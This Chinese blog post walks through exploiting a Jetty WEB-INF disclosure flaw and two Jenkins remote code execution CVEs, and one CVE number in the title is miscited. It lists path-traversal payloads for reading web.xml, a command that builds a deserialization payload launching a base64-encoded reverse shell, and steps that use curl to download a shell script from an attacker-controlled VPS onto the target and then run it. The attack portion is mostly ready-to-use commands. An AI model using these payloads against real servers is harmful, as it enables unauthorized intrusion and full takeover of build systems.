Jenkins 命令执行 — jetty 敏感信息泄露 –(CVE-2021-2816)&&(CVE-2017-1000353)&&(CVE-2018-1000861)
Jenkins 命令执行 — jetty 敏感信息泄露 –(CVE-2021-2816)&&(CVE-2017-1000353)&&(CVE-2018-1000861)
jetty 敏感信息泄露（CVE-2021-28169）
漏洞简介
对于 <= 9.4.40、<= 10.0.2、<= 11.0.2 的 Eclipse Jetty 版本，对带有双重编码路径的 ConcatServlet 的请求可以访问 WEB-INF 目录中的受保护资源。例如，对 /concat?/%2557EB-INF/web.xml 的请求可以检索 web.xml 文件。这可能会泄露有关 Web 应用程序实施的敏感信息。
漏洞复现
直接在url路径请求如下地址
highlighter- CSS
/%2e/WEB-INF/web.xml
/.%00/WEB-INF/web.xml
/%u002e/WEB-INF/web.xml
/static?/WEB-INF/web.xml
/a/b/..%00/WEB-INF/web.Jenkins 代码执行 （CVE-2017-1000353）
漏洞概述
Jenkins 可以通过其网页界面轻松设置和配置,其中包括即时错误检查和内置帮助。 插件 通过更新中心中的 1000 多个插件,Jenkins 集成了持续集成和持续交付工具链中几乎所有的工具。 Jenkins的反序列化漏洞，攻击者使用该漏洞可以在被攻击服务器执行任意代码，漏洞利用不需要任何的权限
默认端口
8080
影响范围
所有Jenkins主版本均受到影响(包括<=2.56版本)所有Jenkins LTS 均受到影响( 包括<=2.46.1版本)
漏洞复现
POC下载CVE-2017-1000353
注意 运行jar包时必须使用JDK-1.8.0_291版本，否则失败
使用jar包生成 jenkins_poc.ser文件
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "bash -c {echo,反弹shell命令base64编码}|{base64,-d}|{bash,-i}"
启动监听
运行exp进行命令执行
highlighter-
python exploit.py 目标主机地址 jenkins_poc.serJenkins 命令执行 （CVE-2018-1000861）
默认端口
8080
影响范围
Jenkins主版本 <= 2.153
Jenkins LTS版本 <= 2.138.3
漏洞复现
POC下载 awesome-jenkins-rce-2019
在VPS上创建shell.txt，文件中写入反弹shell命令
使用python开启http服务
highlighter-
python3 -m http.server 8080本地使用python2执行exp脚本，将远程文件保存至目标主机
highlighter- Bash
python2 exp.py 目标主机 "curl -o /tmp/1.sh http://xxxx:8080/shell.txt"使用python2执行exp脚本，使目标主机运行脚本文件反弹shell
highlighter- Bash
python2 exp.py 目标主机 "bash /tmp/1.sh"以上内容仅作学习记录，如有错误或瑕疵，欢迎批评指正，感谢阅读。
__EOF__
本文作者： 了了青山见 本文链接： https://www.cnblogs.com/Pengj/p/17727318.html 关于博主： 评论和私信会在第一时间回复。或者直接私信我。 版权声明： 本博客所有文章除特别声明外，均采用 BY-NC-SA 许可协议。转载请注明出处！ 声援博主： 如果您觉得文章对您有帮助，可以点击文章右下角【推荐】一下。
相关文章
赣公网安备36020002000448号